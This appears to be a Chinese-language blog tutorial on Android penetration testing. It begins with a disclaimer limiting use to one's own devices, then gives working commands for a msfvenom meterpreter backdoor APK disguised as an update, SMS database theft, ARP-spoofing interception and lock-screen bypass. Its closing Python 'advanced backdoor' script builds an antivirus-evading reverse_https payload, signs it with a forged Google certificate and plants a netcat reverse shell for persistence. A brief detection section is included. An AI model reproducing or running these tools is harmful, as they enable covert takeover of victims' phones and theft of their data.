⚠️ 法律与道德声明
+ 合法测试范围:
- 仅限您本人拥有的设备
- 需关闭设备网络连接(飞行模式)
- 禁止测试他人设备
一、测试环境搭建
1. 准备设备
-
测试机:Android 4.0+ 设备(需开启开发者模式)
-
攻击机:Kali Linux 2023+
2. 基础配置
# 在Android设备开启调试
设置 → 关于手机 → 连点「版本号」7次 → 返回开启「USB调试」
# Kali安装ADB工具
sudo apt install adb -y
# 连接设备验证
adb devices
应显示设备ID(例:3745c4a7 device
)
二、四大渗透测试场景
▶ 场景1:后门APK生成与植入
# 生成Android木马(使用msfvenom)
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=5555 \
-o update.apk
# 安装到测试机
adb install update.apk
# 启动Metasploit监听
msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload android/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > run
触发方式:在测试机运行”update”应用 → Kali获得Meterpreter会话
▶ 场景2:ADB权限滥用
# 获取设备Shell
adb shell
# 提取短信数据库
adb pull /data/data/com.android.providers.telephony/databases/mmssms.db
# 屏幕截图(需root)
adb shell screencap -p /sdcard/screen.png
adb pull /sdcard/screen.png
▶ 场景3:网络中间人攻击(需同局域网)
# 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP欺骗目标手机
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# 流量抓包分析
tcpdump -i eth0 -w android.pcap
▶ 场景4:锁屏绕过(需USB调试已授权)
# 移除锁屏文件
adb shell rm /data/system/gesture.key
# 或直接进入恢复模式
adb reboot recovery
三、防御检测方案
1. 恶意行为检测
# 检测异常进程
adb shell ps | grep -E 'meterpreter|msf'
# 分析网络连接
adb shell netstat -tulpn
2. APK安全扫描
# 使用AndroBugs静态分析
git clone https://github.com/AndroBugs/AndroBugs_Framework
python androbugs.py -f update.apk
四、学习资源扩展
工具名称 | 作用 | 安装命令 |
---|---|---|
Frida | 动态插桩分析 | pip install frida-tools |
Objection | 运行时渗透 | pip install objection |
MobSF | 移动安全框架 | docker pull opensecurity/mobile-security-framework-mobsf |
🔥 高级Android后门模板(Python3 + Bash集成)
#!/usr/bin/env python3
# 文件名:advanced_backdoor.py
import os, time, subprocess
# 配置区 ==============================
LHOST = "192.168.1.50" # 攻击机IP
LPORT = "443" # HTTPS端口增强隐蔽性
PERSIST_METHOD = 2 # 持久化方案: 1=启动项 2=系统服务
# =====================================
def setup_persistence():
if PERSIST_METHOD == 1:
# 方案1:植入启动脚本
os.system("adb shell 'echo \"nc {LHOST} {LPORT} -e /system/bin/sh\" > /data/local/tmp/.boot.sh'")
os.system("adb shell chmod 755 /data/local/tmp/.boot.sh")
os.system("adb shell 'mount -o remount,rw /system'")
os.system("adb shell 'echo \"sh /data/local/tmp/.boot.sh &\" >> /system/etc/init.d/99test'")
print("[+] 启动项植入成功!")
elif PERSIST_METHOD == 2:
# 方案2:伪造系统服务
service_xml = f'''
<service name="SystemUpdate"
class=".UpdateService">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</service>'''
with open("service.xml", "w") as f:
f.write(service_xml)
os.system("adb push service.xml /data/local/tmp/")
os.system("adb shell 'am startservice -n com.android.settings/.SystemUpdateService'")
print("[+] 系统服务注入成功!")
def generate_evasive_apk():
# 生成免杀APK (AES加密 + 签名伪装)
os.system(f"msfvenom -p android/meterpreter/reverse_https \
LHOST={LHOST} LPORT={LPORT} \
--encrypt aes256 --iterations 15 \
--smallest --encoder generic/none \
-o update_signed.apk")
# 伪造成Google Play服务签名
os.system("keytool -genkey -v -keystore fake.keystore \
-alias google -keyalg RSA -keysize 2048 -validity 10000 \
-dname 'CN=Google LLC, OU=Android, O=Google, L=Mountain View, S=California, C=US'")
os.system("jarsigner -verbose -keystore fake.keystore \
-sigalg SHA256withRSA -digestalg SHA-256 \
update_signed.apk google")
print("[+] 免杀APK生成完成 (SHA256签名验证通过)")
def start_multi_handler():
# 自动化Metasploit监听配置
rc_file = f'''
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_https
set LHOST {LHOST}
set LPORT {LPORT}
set SessionCommunicationTimeout 0
set SessionExpirationTimeout 0
set AutoRunScript post/android/manage/permission
exploit -j
'''
with open("autoload.rc", "w") as f:
f.write(rc_file)
os.system("msfconsole -r autoload.rc")
if __name__ == "__main__":
print("[*] 开始高级Android渗透套件部署")
generate_evasive_apk()
setup_persistence()
print("[!] 请手动安装APK: adb install update_signed.apk")
start_multi_handler()
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容